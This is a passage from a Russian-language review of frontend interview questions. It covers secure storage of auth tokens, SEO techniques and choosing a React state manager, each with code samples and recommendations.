└─────────────────────────────────────────────────────────┘
// Клиентская реализация
class AuthService {
private accessToken: string | null = null;

async login(credentials: Credentials) {
const response = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(credentials),
credentials: 'include', // Для получения refresh token в cookie
});

const data = await response.json();
this.accessToken = data.accessToken; // Храним в памяти
}

async fetchWithAuth(url: string, options: RequestInit = {}) {
// Добавляем access token в заголовок
const response = await fetch(url, {
...options,
headers: {
...options.headers,
Authorization: `Bearer ${this.accessToken}`,
},
credentials: 'include', // Для refresh token
});

// Если access token истёк — обновляем
if (response.status === 401) {
await this.refreshTokens();
return this.fetchWithAuth(url, options); // Повторяем запрос
}

return response;
}

private async refreshTokens() {
// Refresh token отправляется автоматически в cookie
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include',
});

const data = await response.json();
this.accessToken = data.accessToken;
}

logout() {
this.accessToken = null;
fetch('/api/auth/logout', {
method: 'POST',
credentials: 'include',
});
}
}

5. Сравнение подходов к хранению

СпособXSSCSRFMITMУдобство
localStorage❌ Уязвим✅ Защищён❌ Уязвим✅ Просто
sessionStorage❌ Уязвим✅ Защищён❌ Уязвим✅ Просто
Cookie (без флагов)❌ Уязвим❌ Уязвим❌ Уязвим✅ Просто
Cookie (HttpOnly)✅ Защищён❌ Уязвим❌ Уязвим✅ Просто
Cookie (HttpOnly + Secure)✅ Защищён❌ Уязвим✅ Защищён✅ Просто
Cookie (HttpOnly + Secure + SameSite)✅ Защищён✅ Защищён✅ Защищён✅ Просто
Memory + HttpOnly cookie✅ Защищён✅ Защищён✅ Защищён⚠️ Сложнее

6. Рекомендуемая архитектура для SPA

// Серверная часть (Node.js/Express)
app.post('/api/auth/login', async (req, res) => {
const user = await authenticateUser(req.body);

// Access token — краткосрочный
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' }
);

// Refresh token — долгосрочный, хранится в HttpOnly cookie
const refreshToken = jwt.sign(
{ userId: user.id },
process.env.REFRESH_TOKEN_SECRET,
{ expiresIn: '7d' }
);

// Сохраняем refresh token в базе данных
await saveRefreshToken(user.id, refreshToken);

// Устанавливаем refresh token в cookie
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 дней
path: '/api/auth', // Только для auth-эндпоинтов
});

// Отправляем access token в ответе
res.json({ accessToken, user: { id: user.id, name: user.name } });
});

// Обновление токенов
app.post('/api/auth/refresh', async (req, res) => {
const refreshToken = req.cookies.refreshToken;

if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}

try {
const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET);

// Проверяем, что token не отозван
const isValid = await checkRefreshToken(payload.userId, refreshToken);
if (!isValid) {
return res.status(401).json({ error: 'Invalid refresh token' });
}

// Генерируем новый access token
const newAccessToken = jwt.sign(
{ userId: payload.userId },
process.env.ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' }
);

res.json({ accessToken: newAccessToken });
} catch (error) {
res.status(401).json({ error: 'Invalid refresh token' });
}
});

7. Защита от XSS

// Content Security Policy (CSP)
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
);
next();
});

// Санитизация пользовательского ввода
import DOMPurify from 'dompurify';

function UserContent({ content }: { content: string }) {
const sanitized = DOMPurify.sanitize(content);
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

8. Защита от CSRF

// Сервер проверяет Origin/Referer
app.use((req, res, next) => {
const origin = req.get('origin');
const allowedOrigins = ['https://mysite.com'];

if (origin && !allowedOrigins.includes(origin)) {
return res.status(403).json({ error: 'Forbidden' });
}

next();
});

9. Итоговые рекомендации

┌────────────────────────────────────────────────────────────┐
│ Рекомендации по хранению │
├────────────────────────────────────────────────────────────┤
│ │
│ Access Token (15-30 мин): │
│ └── Memory (переменная JavaScript) │
│ └── Плюсы: защита от XSS через cookie │
│ └── Минусы: теряется при закрытии вкладки │
│ │
│ Refresh Token (7-30 дней): │
│ └── HttpOnly + Secure + SameSite=Strict cookie │
│ └── Плюсы: защита от XSS, CSRF, MITM │
│ └── Минусы: нужна логика обновления │
│ │
│ Дополнительно: │
│ ├── Content Security Policy (CSP) │
│ ├── Валидация Origin/Referer │
│ ├── Rate limiting для auth-эндпоинтов │
│ └── Ротация refresh tokens │
│ │
└────────────────────────────────────────────────────────────┘

Резюме:

  • Никогда не храните токены в localStorage/sessionStorage для production
  • Access token — в памяти JavaScript (переменная)
  • Refresh token — в HttpOnly + Secure + SameSite cookie
  • Используйте короткий срок жизни для access token (15-30 минут)
  • Реализуйте ротацию refresh tokens
  • Добавьте CSP для защиты от XSS
  • Проверяйте Origin/Referer для защиты от CSRF

Отлично! Я заметил, что вопрос про SEO повторяется много раз. Давайте я наконец отвечу на него.

Вопрос 32. Как помочь сайту лучше попадать в выборку поиска (SEO)?

Таймкод: 01:08:31

Ответ собеседника: Правильный. Использовать метатеги, тайтлы, дескрипшены, ключевые слова, Open Graph. Также применять семантическую вёрстку, поддерживать высокий уровень доступности (accessibility), следить за метриками производительности Lighthouse — скорость загрузки влияет на SEO.

Правильный ответ:

SEO (Search Engine Optimization) — комплекс мер по оптимизации сайта для улучшения позиций в поисковых системах. Рассмотрим основные аспекты.

1. Техническое SEO

Метатеги и заголовки:

<head>
<!-- Заголовок страницы (50-60 символов) -->
<title>Купить кроссовки Nike в Москве - интернет-магазин SportShop</title>

<!-- Мета-описание (150-160 символов) -->
<meta name="description" content="Большой выбор кроссовок Nike по выгодным ценам. Бесплатная доставка по Москве от 5000₽. Гарантия качества. ☎ +7 (495) 123-45-67">

<!-- Ключевые слова (менее важно для Google, но полезно) -->
<meta name="keywords" content="кроссовки Nike, купить кроссовки, спортивная обувь">

<!-- Каноническая ссылка (для борьбы с дублями) -->
<link rel="canonical" href="https://sportshop.ru/krossovki/nike">

<!-- Индексация -->
<meta name="robots" content="index, follow">

<!-- Open Graph для соцсетей -->
<meta property="og:title" content="Кроссовки Nike в Москве">
<meta property="og:description" content="Большой выбор кроссовок Nike по выгодным ценам">
<meta property="og:image" content="https://sportshop.ru/images/nike-og.jpg">
<meta property="og:url" content="https://sportshop.ru/krossovki/nike">
<meta property="og:type" content="website">

<!-- Twitter Card -->
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="Кроссовки Nike в Москве">
<meta name="twitter:image" content="https://sportshop.ru/images/nike-twitter.jpg">
</head>

Семантическая вёрстка:

<!-- ❌ Плохо — нет семантики -->
<div class="header">
<div class="nav">
<div class="nav-item">Главная</div>
</div>
</div>
<div class="main">
<div class="article">
<div class="title">Заголовок</div>
</div>
</div>

<!-- ✅ Хорошо — семантическая вёрстка -->
<header>
<nav aria-label="Основная навигация">
<ul>
<li><a href="/">Главная</a></li>
<li><a href="/catalog">Каталог</a></li>
</ul>
</nav>
</header>

<main>
<article>
<header>
<h1>Заголовок статьи</h1>
<time datetime="2024-01-15">15 января 2024</time>
</header>

<section>
<h2>Подзаголовок</h2>
<p>Текст статьи...</p>
<figure>
<img src="image.jpg" alt="Описание изображения" loading="lazy">
<figcaption>Подпись к изображению</figcaption>
</figure>
</section>

<footer>
<address>Автор: <a href="/author">Иван Иванов</a></address>
</footer>
</article>

<aside>
<h2>Похожие статьи</h2>
<!-- Список статей -->
</aside>
</main>

<footer>
<p>&copy; 2024 SportShop</p>
</footer>

2. Скорость загрузки (Core Web Vitals)

Google использует Core Web Vitals как фактор ранжирования:

МетрикаОписаниеХороший показатель
LCP (Largest Contentful Paint)Время загрузки основного контента< 2.5 сек
FID (First Input Delay)Время до первого взаимодействия< 100 мс
CLS (Cumulative Layout Shift)Стабильность макета< 0.1

Оптимизация производительности:

// Ленивая загрузка изображений
<img src="placeholder.jpg" data-src="image.jpg" loading="lazy" alt="Описание">

// Предзагрузка критических ресурсов
<link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin>
<link rel="preconnect" href="https://api.example.com">

// Асинхронная загрузка скриптов
<script src="analytics.js" async></script>
<script src="non-critical.js" defer></script>

// Code splitting в React
const ProductPage = lazy(() => import('./pages/ProductPage'));
const CartPage = lazy(() => import('./pages/CartPage'));

3. Мобильная оптимизация (Mobile-First)

<!-- Viewport -->
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<!-- Адаптивные изображения -->
<picture>
<source media="(max-width: 768px)" srcset="image-mobile.webp" type="image/webp">
<source media="(max-width: 768px)" srcset="image-mobile.jpg">
<source srcset="image-desktop.webp" type="image/webp">
<img src="image-desktop.jpg" alt="Описание" loading="lazy">
</picture>

4. Структурированные данные (Schema.org)

{
"@context": "https://schema.org",
"@type": "Product",
"name": "Nike Air Max 270",
"image": "https://sportshop.ru/images/nike-air-max-270.jpg",
"description": "Мужские кроссовки Nike Air Max 270",
"brand": {
"@type": "Brand",
"name": "Nike"
},
"offers": {
"@type": "Offer",
"price": "8990",
"priceCurrency": "RUB",
"availability": "https://schema.org/InStock"
},
"aggregateRating": {
"@type": "AggregateRating",
"ratingValue": "4.5",
"reviewCount": "128"
}
}
<!-- Хлебные крошки -->
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "BreadcrumbList",
"itemListElement": [
{
"@type": "ListItem",
"position": 1,
"name": "Главная",
"item": "https://sportshop.ru/"
},
{
"@type": "ListItem",
"position": 2,
"name": "Каталог",
"item": "https://sportshop.ru/catalog"
},
{
"@type": "ListItem",
"position": 3,
"name": "Кроссовки Nike",
"item": "https://sportshop.ru/krossovki/nike"
}
]
}
</script>

5. Sitemap и robots.txt

<!-- sitemap.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>https://sportshop.ru/</loc>
<lastmod>2024-01-15</lastmod>
<changefreq>daily</changefreq>
<priority>1.0</priority>
</url>
<url>
<loc>https://sportshop.ru/catalog</loc>
<lastmod>2024-01-14</lastmod>
<changefreq>weekly</changefreq>
<priority>0.9</priority>
</url>
</urlset>
# robots.txt
User-agent: *
Allow: /
Disallow: /admin/
Disallow: /api/
Disallow: /*?sort=
Disallow: /*?filter=

Sitemap: https://sportshop.ru/sitemap.xml

6. SSR и SSG для SEO

// Next.js — SSR (Server-Side Rendering)
export async function getServerSideProps(context) {
const product = await fetchProduct(context.params.id);

return {
props: {
product,
},
};
}

// Next.js — SSG (Static Site Generation)
export async function getStaticPaths() {
const products = await fetchAllProducts();

return {
paths: products.map((product) => ({
params: { id: product.id },
})),
fallback: 'blocking',
};
}

export async function getStaticProps({ params }) {
const product = await fetchProduct(params.id);

return {
props: { product },
revalidate: 3600, // ISR — обновление каждый час
};
}

7. Доступность (Accessibility)

<!-- ARIA-атрибуты -->
<nav aria-label="Основная навигация">
<button aria-expanded="false" aria-controls="menu">
Меню
</button>
<ul id="menu" role="menubar" hidden>
<li role="menuitem"><a href="/">Главная</a></li>
</ul>
</nav>

<!-- Alt-тексты для изображений -->
<img src="nike-shoes.jpg" alt="Кроссовки Nike Air Max 270 белые на белом фоне">

<!-- Фокус и навигация с клавиатуры -->
<button tabindex="0" aria-pressed="false">
Добавить в избранное
</button>

<!-- Контрастность текста -->
<p style="color: #333; background: #fff;">
Текст с достаточным контрастом (минимум 4.5:1)
</p>

8. Мониторинг и инструменты

ИнструментНазначение
Google Search ConsoleМониторинг индексации
Google PageSpeed InsightsПроверка скорости
LighthouseАудит производительности
Screaming FrogТехнический аудит
Ahrefs / SEMrushАнализ ключевых слов

9. Чек-лист SEO-оптимизации

✅ Техническое SEO
├── Мета-теги (title, description)
├── Семантическая вёрстка
├── Канонические ссылки
├── Sitemap.xml
├── Robots.txt
├── HTTPS
└── Мобильная адаптация

✅ Контент
├── Уникальный контент
├── Оптимизация заголовков (H1-H6)
├── Alt-тексты изображений
├── Внутренняя перелинковка
└── Структурированные данные

✅ Производительность
├── LCP < 2.5 сек
├── FID < 100 мс
├── CLS < 0.1
├── Сжатие изображений (WebP)
├── Минификация CSS/JS
└── CDN

✅ Безопасность
├── HTTPS
├── Content Security Policy
└── Защита от XSS

Резюме:

Кандидат дал правильный ответ, назвав основные факторы SEO-оптимизации. Для полноты стоит добавить технические аспекты (sitemap, robots.txt, SSR/SSG), структурированные данные (Schema.org), а также регулярный мониторинг через Google Search Console и другие инструменты.

Вопрос 33. Можно ли существовать без стейт-менеджеров и какой выбрать для небольшого проекта?

Таймкод: 01:09:49

Ответ собеседника: Правильный. Можно существовать без стейт-менеджеров, используя Context или локальные стейты. Для небольшого проекта с двумя страницами лучше использовать Context или лёгкий менеджер вроде Zustand — полноценный стейт-менеджер будет излишним.

Правильный ответ:

Да, без стейт-менеджеров вполне можно обойтись, особенно в небольших проектах. Выбор зависит от сложности и масштаба приложения.

1. Варианты управления состоянием без библиотек

Локальный стейт (useState, useReducer):

// Простой компонент с локальным стейтом
function Counter() {
const [count, setCount] = useState(0);

return (
<div>
<p>Счётчик: {count}</p>
<button onClick={() => setCount(count + 1)}>+1</button>
</div>
);
}

// useReducer для сложной логики
const initialState = { count: 0, step: 1 };

function reducer(state, action) {
switch (action.type) {
case 'increment':
return { ...state, count: state.count + state.step };
case 'decrement':
return { ...state, count: state.count - state.step };
case 'setStep':
return { ...state, step: action.payload };
default:
return state;
}
}

function CounterWithReducer() {
const [state, dispatch] = useReducer(reducer, initialState);

return (
<div>
<p>Счётчик: {state.count}</p>
<button onClick={() => dispatch({ type: 'increment' })}>+</button>
<button onClick={() => dispatch({ type: 'decrement' })}>-</button>
</div>
);
}

React Context для глобального состояния:

// Создание контекста
const ThemeContext = createContext(null);

// Провайдер
function ThemeProvider({ children }) {
const [theme, setTheme] = useState('light');

const toggleTheme = useCallback(() => {
setTheme(prev => prev === 'light' ? 'dark' : 'light');
}, []);

const value = useMemo(() => ({
theme,
toggleTheme
}), [theme, toggleTheme]);

return (
<ThemeContext.Provider value={value}>
{children}
</ThemeContext.Provider>
);
}

// Хук для использования
function useTheme() {
const context = useContext(ThemeContext);
if (!context) {
throw new Error('useTheme must be used within ThemeProvider');
}
return context;
}

// Использование в компоненте
function Header() {
const { theme, toggleTheme } = useTheme();

return (
<header className={theme}>
<button onClick={toggleTheme}>
Переключить тему
</button>
</header>
);
}

2. Когда нужен стейт-менеджер

┌─────────────────────────────────────────────────────────────┐
│ Выбор подхода к управлению состоянием │
├─────────────────────────────────────────────────────────────┤
│ │
│ Локальный стейт (useState/useReducer) │
│ ├── Простые формы │
│ ├── Компоненты с изолированным состоянием │
│ └── Состояние не нужно в других компонентах │
│ │
│ Context API │
│ ├── Тема, язык, авторизация │
│ ├── Нечастые обновления │
│ └── Средний размер приложения │
│ │
│ Стейт-менеджер (Zustand, Redux, MobX) │
│ ├── Сложная бизнес-логика │
│ ├── Частые обновления │
│ ├── Нужен DevTools и отладка │
│ ├── Большое приложение с множеством страниц │
│ └── Кэширование данных с API │
│ │
└─────────────────────────────────────────────────────────────┘

3. Сравнение лёгких решений

Zustand (рекомендуется для небольших проектов):

import { create } from 'zustand';

// Создание хранилища
const useStore = create((set, get) => ({
// Состояние
user: null,
isLoading: false,
error: null,

// Действия
setUser: (user) => set({ user }),

login: async (credentials) => {
set({ isLoading: true, error: null });
try {
const user = await authService.login(credentials);
set({ user, isLoading: false });
} catch (error) {
set({ error: error.message, isLoading: false });
}
},

logout: () => set({ user: null }),

// Вычисляемые значения
get isAuthenticated() {
return get().user !== null;
},
}));

// Использование в компоненте
function UserProfile() {
// Только нужные поля — нет лишних ре-рендеров
const user = useStore(state => state.user);
const logout = useStore(state => state.logout);

if (!user) return <div>Войдите в аккаунт</div>;

return (
<div>
<h1>Привет, {user.name}!</h1>
<button onClick={logout}>Выйти</button>
</div>
);
}

// Использование вне компонента
const user = useStore.getState().user;
useStore.getState().logout();

Jotai (атомарный подход):

import { atom, useAtom, useAtomValue, useSetAtom } from 'jotai';

// Атомы — минимальные единицы состояния
const countAtom = atom(0);
const doubleCountAtom = atom((get) => get(countAtom) * 2);

// Асинхронный атом
const userAtom = atom(async () => {
const response = await fetch('/api/user');
return response.json();
});

// Использование
function Counter() {
const [count, setCount] = useAtom(countAtom);
const doubleCount = useAtomValue(doubleCountAtom);

return (
<div>
<p>Count: {count}</p>
<p>Double: {doubleCount}</p>
<button onClick={() => setCount(c => c + 1)}>+1</button>
</div>
);
}

4. Когда выбрать Redux Toolkit

import { createSlice, configureStore, createAsyncThunk } from '@reduxjs/toolkit';

// Async thunk для загрузки данных
export const fetchProducts = createAsyncThunk(
'products/fetchAll',
async (_, { rejectWithValue }) => {
try {
const response = await fetch('/api/products');
return await response.json();
} catch (error) {
return rejectWithValue(error.message);
}
}
);

// Slice — часть состояния
const productsSlice = createSlice({
name: 'products',
initialState: {
items: [],
loading: false,
error: null,
},
reducers: {
addProduct: (state, action) => {
state.items.push(action.payload);
},
removeProduct: (state, action) => {
state.items = state.items.filter(p => p.id !== action.payload);
},
},
extraReducers: (builder) => {
builder
.addCase(fetchProducts.pending, (state) => {
state.loading = true;
state.error = null;
})
.addCase(fetchProducts.fulfilled, (state, action) => {
state.loading = false;
state.items = action.payload;
})
.addCase(fetchProducts.rejected, (state, action) => {
state.loading = false;
state.error = action.payload;
});
},
});

export const { addProduct, removeProduct } = productsSlice.actions;

// Store
export const store = configureStore({
reducer: {
products: productsSlice.reducer,
},
});

// Использование
function ProductsList() {
const dispatch = useDispatch();
const { items, loading, error } = useSelector(state => state.products);

useEffect(() => {
dispatch(fetchProducts());
}, [dispatch]);

if (loading) return <Spinner />;
if (error) return <Error message={error} />;

return (
<ul>
{items.map(product => (
<li key={product.id}>{product.name}</li>
))}
</ul>
);
}

5. Сравнение стейт-менеджеров

КритерийContextZustandJotaiRedux Toolkit
Размер бандла0 кБ~1 кБ~3 кБ~11 кБ
Кривая обученияНизкаяНизкаяСредняяВысокая
DevTools
TypeScript
Middleware
РерендерыВсе потребителиТолько подписчикиТолько подписчикиТолько подписчики
Для маленького проекта❌ Избыточно
Для большого проекта⚠️ Может быть медленно

6. Рекомендации по выбору

┌─────────────────────────────────────────────────────────────┐
│ Рекомендации по выбору │
├─────────────────────────────────────────────────────────────┤
│ │
│ Маленький проект (1-5 страниц): │
│ ├── useState/useReducer — для локального состояния │
│ └── Context — для глобального (тема, авторизация) │
│ │
│ Средний проект (5-20 страниц): │
│ ├── Zustand — если нужен простой DevTools │
│ └── Jotai — если нравится атомарный подход │
│ │
│ Большой проект (20+ страниц): │
│ ├── Redux Toolkit — для сложной бизнес-логики │
│ ├── Zustand — если нужна простота + масштабируемость │
│ └── React Query/SWR + Zustand — для API + клиентский стейт│
│ │
└─────────────────────────────────────────────────────────────┘

Резюме:

Кандидат правильно ответил на вопрос. Для небольшого проекта действительно достаточно Context или Zustand. Полноценный стейт-менеджер вроде Redux будет избыточным. Главное правило — начинать с простого и усложнять только при необходимости.